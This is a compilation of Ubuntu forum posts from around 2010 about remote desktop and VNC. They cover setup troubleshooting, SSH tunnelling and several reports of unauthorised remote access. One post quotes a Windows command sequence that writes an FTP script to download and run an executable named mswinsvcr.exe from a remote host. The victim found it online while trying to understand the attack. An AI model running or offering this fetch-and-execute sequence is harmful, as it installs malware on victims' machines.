Ubuntu Security :: Unauthorised Remote Desktop?
Nov 26, 2010
I just had a window pop up on my desktop saying my pc was being remotely controlled. Ubuntu 10.10The pc shutdown by itself, and I disconnected it from the net.I rebooted and uninstalled the remote desktop app.
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Jul 6, 2010
I always use VNC to check my server for updates, and this morning I started the xvnc4viewer to vnc into my server and it keep asking for a password. I never setup a password because I do this local from my laptop, and I am the only one who uses my laptop. I had to go to my server and check the setting in System > Preferences > Remote Desktop and found them all changed. There was a password setup and there was a check mark in the you must confirm each access to this machine there some security update that changed all these setting? Sometimes when I do updates I don't know what is being changed on my server
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Mar 24, 2010
So I've read a bit and it seems that this is okay and secure. But I wanted to double check here with everyone, because I trust here more than just about anywhere. I've read about the hipporemote (which is pretty cool) and I have it working. Basically I want to make sure my system is still secure.
1. I had to open a port on my firewall for the VNC connection.
2. I turned on the Remote Desktop
2a. Checked Allow other users to view....
2b. Checked Allow other users to control....
2c. Checked You must confirm.....
2d. Checked for password, and put in a password
2e. Checked Configure network automatically to accept connectios
So with doing all of that, am I ok? I think so, especially since it says its only accessible on my local network. But I just wanted to hear from people who know more than I do that I don't need to worry any more than normal about others accessing my machine. I'm mainly thinking 2e, I don't fully understand what's going on there.
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Mar 21, 2010
Today I noticed my Desktop was being controlled remotely from over the Internet even though I had it set for 'local network only'. Foolishly I relied on this setting and hadn't specified a password or other security. The remote user had opened my Firefox passwords page and was perusing this when I pulled the plug.
All external checks confirmed that my router/firewall is actively blocking correctly. How could this happen? How can I prevent this in the future? I had recently install the Firefox extension for Weave Sync and wonder if that had anything to do with it?
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Feb 16, 2010
I am attempting to set up a VNC with ssh tunneling for remote desktop between my laptop (opensuse 11.2) and my desktop (kubuntu karmic) and using the instructions here: [URL] and here: [URL] but I am having trouble getting remote desktop to work once I establish the ssh tunnel
I start out with
Code:
ssh <user@remotepc> -p <non22port> -L 5900:localhost:5900
That seems to wok and connect properly
The problem comes when I try to use a remote desktop client on the laptop to initiate the VPN desktop sharing and point it to
Code:
localhost:5900
Thats when I get a notification on the host saying:
Code:
Refused uninvited connection attempt from 127.0.0.1
And on the laptop I get:
Code:
VNC server closed connection
I have tried messing with the few settings in Krfb, but none seem to have any impact. How do I open localhost:5900 and allow VPN tunneling to the host machine?
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Jun 5, 2011
I was sitting watching a TV show on the internet (streaming from channel 4) and all of a sudden I get a request from an unknown IP address, outside of my local network attempting to access my ubuntu desktop, I obviously declined straight away and stupidly didn't take note of the IP I've checked my firewall settings and no ports are being forwarded, everything is as it should be. I am running Ubuntu 11.04, and a little bit concerned. As of now I have completely disabled remote desktop on my laptop.
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Aug 1, 2011
I have been using Remote desktop on Windows 7 to view and control my Ubuntu machine in the office quite happily over the office network. No problems there. I wanted to access it from my home connection so I read that I could do this by opening a port on the ubuntu machine's firewall. So I installed a firewall. Didnt see any way to open a port easily so I uninstalled it and installed another one. Same issue so I uninstalled that and then left it. I then tried to Remote Desktop the Ubuntu machine from my Windows 7 laptop and ERROR I can no longer connect.
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Apr 27, 2010
I was working on my desktop under Ubuntu 9.10 when I got a message in the the upper right telling me that my Remote Desktop Connection had been activated. I don't know who it was, but they proceeded to open up a terminal and start typing a bunch of stuff. This scared the living @#$^ out of me, so I didn't really pay attention to what he was doing and immediately dove for the reset button. I disconnected my network from the web and found that RDC was NOT password protected.
Now, I probably did this a little while ago while I was playing around with it, but I also set up an account with dyndns.org. Would this possibly increase the number of attacks on my network? Just in case, I have removed my listing. Also, would any of this incident be logged somewhere? How/Where would I look to see if I'm being poked and prodded for another security hole?
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Oct 14, 2010
I have a home LAN server with Ubuntu Desktop edition 10.10 and I'm having a problem with remote desktop application. For now I have a monitor on that machine, but in the future it's gonna be only the box, without any periferal devices. When I try to log in via UltraVNC from Windows XP, on Ubuntu server a little window pops up, asking me to allow or refuse this "invader", so I click Allow and I really have full control on that machine. However, when I dont have any devices I wouldnt be able to click this Allow button, but will have to have full control. So, my question is how to autoclick this Allow button? Or when I try to log in the ubuntu machine, it would automatically give me full control?
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Dec 30, 2010
host always ask password on 1st remote desktop (VNC) access Desktop version... how can I disable this?
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Jul 20, 2010
I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
Code:
%systemroot%system32cmd.exe
del eq&e
I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
Code:
%systemroot%system32cmd.exe
del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]
How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?
What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?
In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.
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Aug 4, 2010
Have a Java program which simply connects to a server and gets back the response from the website.
When I use it under Windows environment it runs fine and i receive a Response Code: 200,
Response Message: OK but in UNIX i get Response Code 401, Response Message Unauthorized
In Unix I tried to ping the website using the ping command.
I use putty to connect to a Unix m/c. I don't have any permissions to install any programs so could not install any s/w so i could check if i were able to reach the website.
Is it a Proxy Server related issue ? If yes how do i configure it ?
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Jan 11, 2010
was home when the attack took place I was running a vnc server that was tunnled thru ssh. At approximatley 5:00 pm eastern time my box turned on firefox and flashed a popup. I tried to get to the logs and then realized that the entre system had been hijacked the remote desktop icon was active there was a message in gnote saying "youve been own3d". The system Is a old mac mini PPC system and i plan on looking at the system log with a netboot cd by running linux rescue at boot. my question is how do i gain access to the system log from a rescue cd to find out how much damage this hacker did?
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Feb 6, 2011
I maintain plain vanilla Ubuntu 10.04 systems for several friends. Each machine has only one user, the owner. I use Remote Desktop to instruct and to perform maintenance. Here's my problem:After updating the system, if the kernel has changed, a restart is needed. If I do a restart, I then have to phone the owner to insert his login credentials in the gdm login screen, before I can do anything else via Remote Desktop on that machine.There ought to be a simple way I can avoid the phone call and login myself.
I'd strongly prefer not to use any software that is not included in a plain vanilla Ubuntu 10.04 installation. And I don't want to weaken system security beyond what it is now.Is there a solution? Or, what is the simplest solution?
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Mar 18, 2010
I'm working on getting my myth box hooked up to my Sony flat panel display.Originally the nvidia drivers could not read the EID, so defaulted to only 640x480 over my HDMI-DVI connection.I manually updated xorg.conf with a mode for the resolution I know the thing can handle. Suddenly there are several resolutions avaialble in nvidia-settings and it seems to be communicating with the TV, as it is now listed as a Sony FP display rather than a CRT.I'm able to change the resolution now as expected.my problem, however, lies with the TV itself. I can't seem to get it to actually display the output. I'm able to remote desktop into the box and can see Gnome logged in and everything.However nothing on the TV itself.How do I troubleshoot this? Am I missing something obvious?
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Nov 20, 2010
I have my main box, Ubuntu 10.04lts, and I am trying to use remote desktop viewer to see the desktop on a Windows XP machine. The machines are side by side The Ubuntu box is hardwired to my network router, and the XP machine is connected via wireless. Both get to the internet fine, and I can ping the Ubuntu box from the XP box. But, I cannot ping the XP box from the Ubuntu box, and Remote Desktop Viewer won't establish a connection to the VNC server I have running on the XP box.
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Nov 25, 2010
I am using 2 PCs, both running ubuntu. I want to connect via remote desktop (vnc, ssh -X, etc) form one to the other. However, what the solutions I found until now offer me, is the possibility to create a new desktop session and view that one (or run an application an view that one). I have an application running on the server, and I want to see that application, without needing to restart it or running it again in a new desktop. Is this possible?
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Apr 8, 2011
I am trying to setup my HTPC. I wanted to have the most minimal overhead possible so I installed Ubuntu 10.10 server from the mini.iso and just added the ssh option. I then used the following command to give me a desktop environment because I will want to run firefox and it apparently requires this to run.
Here is the command that I ran:apt-get install xorg gnome-core gdm gnome-applets gnome-system-tools gnome-utils ubuntu-artwork compiz-gnome firefox sysv-rc-conf.The desktop works fine and I can open fire fox, however, the remote desktop is missing from the preferences menu.How can I install this? I would like to add the remote desktop option from a command line.
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Jul 19, 2011
I have set up a server running ubuntu desktop, and I'm able to logon through remote desktop (win 7). The problem is that if I logon from computer 1 and open some programs, I don't see these programs when I logon from computer 2.I logon with the same user, so I find this strange. Is there some setting I have missed to be able to see the same from any computer (logon through remote desktop).
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Jul 10, 2011
Is there a way to have drag and drop access between Linux and a Windows remote desktop connection?
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Dec 14, 2009
I have VMware server installed on this machine. I also have a Windows XP VM running all the time. I have it bridged so it gets a valid IP from my router and such and is in my network. I use KRDC to remote desktop to it and I make it full screen. However if I want to go back to my desktop I have to minimize KRDC.
Is there a RPD client out there I can use so I can go full screen on 1 desktop and have everything else on another desktop then use KDE's Desktop switcher or ctrl+alt+arrow keys to switch between desktops to flip between Windows XP and Linux without having to minimize?
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Jan 20, 2010
I've been using Linux on a more regular basis for the last two months now and have been able to find replacements for most of the software i use in Windows, or by using Wine. But i have one big problem that is keeping me from switching permanently to Linux. I frequently use remote control software to access and control my computers, both at home and to access my computers from remote places over the internet. I've been using NetOp, and more recently RealVNC. The client, or "viewer" part of RealVNC is working fine in both Windows and Linux. It's the host or server part that i can't get to work properly when it comes to VNC. The vnc.so module doesn't work on my system, x0vncserver program seems rather useless since it refuses to load before i have a network connection and this prevents me from start the program automatically as the wireless connection isn't ready and the vncserver command isn't an option since it doesn't display what i see on the actual screen. So, does anyone have a nice solution to this problem? Either to make VNC work or suggest some software that does. Anyway, it has to work on both Windows and Linux, in Linux it has to display the native x display, there must be built-in encryption and preferably be free or open-source software. I'm using Ubuntu 9.10.
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Oct 21, 2010
I have 2 ubuntu machines. I used to use the ubuntu's remote desktop program to work remotely from home on my office box, but since I installed 10.04 it remotes in ok but nothing gets changed on the screen when I click. I see the mouse move fine. If I click on something and then drive to the office I see the remote screen was in fact clicked on with random windows open, depending on what i was clicking on. Why is the screen not refreshing?
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Jan 29, 2010
how i can remote access my pc at home from work ? on different pc that has access to INTERNET. what software shall I install on my pc at home ? I want to be able to install software on my pc at home from my work place, my home pc has unbuntu Linux ubuntu 2.6.31-17-generic #54-Ubuntu SMP Thu Dec 10 17:01:44 UTC 2009 x86_64 GNU/Linux
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May 13, 2010
I'm trying to SSH into my home computer from a remote location outside of my house's LAN and can't figure out remote port fowarding.
The guide here says to use the following:
Code:
I've tried connecting to my home computer through many combinations of the syntax listed above, read the man file, and looked online for help. But can't find out the proper syntax or a good guide that isn't written for Windows users using Putty.
Let's assume for the sake of simplicity that the public IP address of my home SSH server is 123.123.123.123, the private IP address of my home SSH server is 192.168.1.100, my home SSH port is 2222, and the SSH port at my current location is is 22. How would I write out the command?
Every time I try to connect I get a "connection times out" error.
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May 30, 2011
When I access a remote Natty client using VNC I cannot use the sudo command in a terminal. In fact, the terminal closes itself as soon as I type the sequence sud. Even su d. Or su d.
Sua, su a, su c, su e do not cause the terminal to close itself.
This appears to be some sort of new security "feature".
How do I "work around" it?
[edit]
I'd better elaborate.
I have a remote Natty running 11.04 64-bit desktop version. I have installed tightvncserver on it. I log in on 5901 from a Ubuntu 10.04 64-bit desktop using vinagre. The desktop works fine except when I open a terminal in it and type sud. As soon as I type the d the terminal vanishes. This appears to be a deliberate feature. I also log in to other clients that run 10.04 and this does not happen. I have run Mint 11 in VirtualBox on my local machine and created the same remote desktop and viewed it from mint 11 itself. Same thing happens.
It seems to me that 11.04 has been modified to kill a terminal that is part of a VNC display when sud are typed.
how to remotely administer a 11.04 desktop?
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Jan 21, 2010
I've run into a bit of a problem with an attempt to remotely admin a friend's computer. Here's the basic layout:
--My Ubuntu is connected via wireless router, port 22 forwarded properly. I can ssh in and out as I please to other hosts.
--Across the internet, their Eeebuntu is behind a router as well. Port 22 may or may not be properly forwarded. Nobody in that house really knows how to access their router. (I accept this may be an issue I'll need to handle)
What I'd like to do:First priority, ssh access to the remote Eeebuntu.Assuming the remote router does not forward port 22, would I be able to have the remote computer remote forward, say my local port 10022 to remote 10022, thus allowing me to ssh user@localhost:10022 and bypass the need to access the router?
Lower priority, prepare a bash script for my friend to download that would require one input of the root password, and go through the full process of installing OpenSSH, setting up the server, and initiating contact to my computer. The ideal situation is allowing my friend to start the computer, run one script, type in one password, and walk away.Any ideas for better remote admin options are welcome, as well as comments/suggestions from anyone who has attempted this backwards form of ssh access.
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Feb 11, 2010
I am using Ubuntu 9.10. I can do remote desktop into the system with a monitor attached but when I reboot the system without a monitor attached I am unable to do remote desktop into it.
I want to use this system as a headless system and only use remote desktop to control it.
So I guess I need to start X and gnome without a monitor attached.
What do I need to do to get this to run?
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Apr 20, 2010
is remote desktop from windows to ubuntu possible?
so far i googling, only found from ubuntu to windows.
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May 6, 2010
i installed 10.04. when i try to dial into my work pc using my work VPN which uses Sonicwall using SSL-VPN technology. It works fine using older versions of Ubuntu, other linux versions, and XP or Vista. Using 10.04, I can login just fine, but when I get into the remote desktop, my keyboard does not work. the mouse works fine. I am using the newest version of java (1.6-20) with Ubuntu 10.04. I don't think I am using this version of java in the other linux versions, so I'm not sure if this is a problem with java, Ubuntu, or something else. i got the kb to work by pressing cntl-J, typing stty sane, then ctrl-J again, which is something I remembered from a long time ago..
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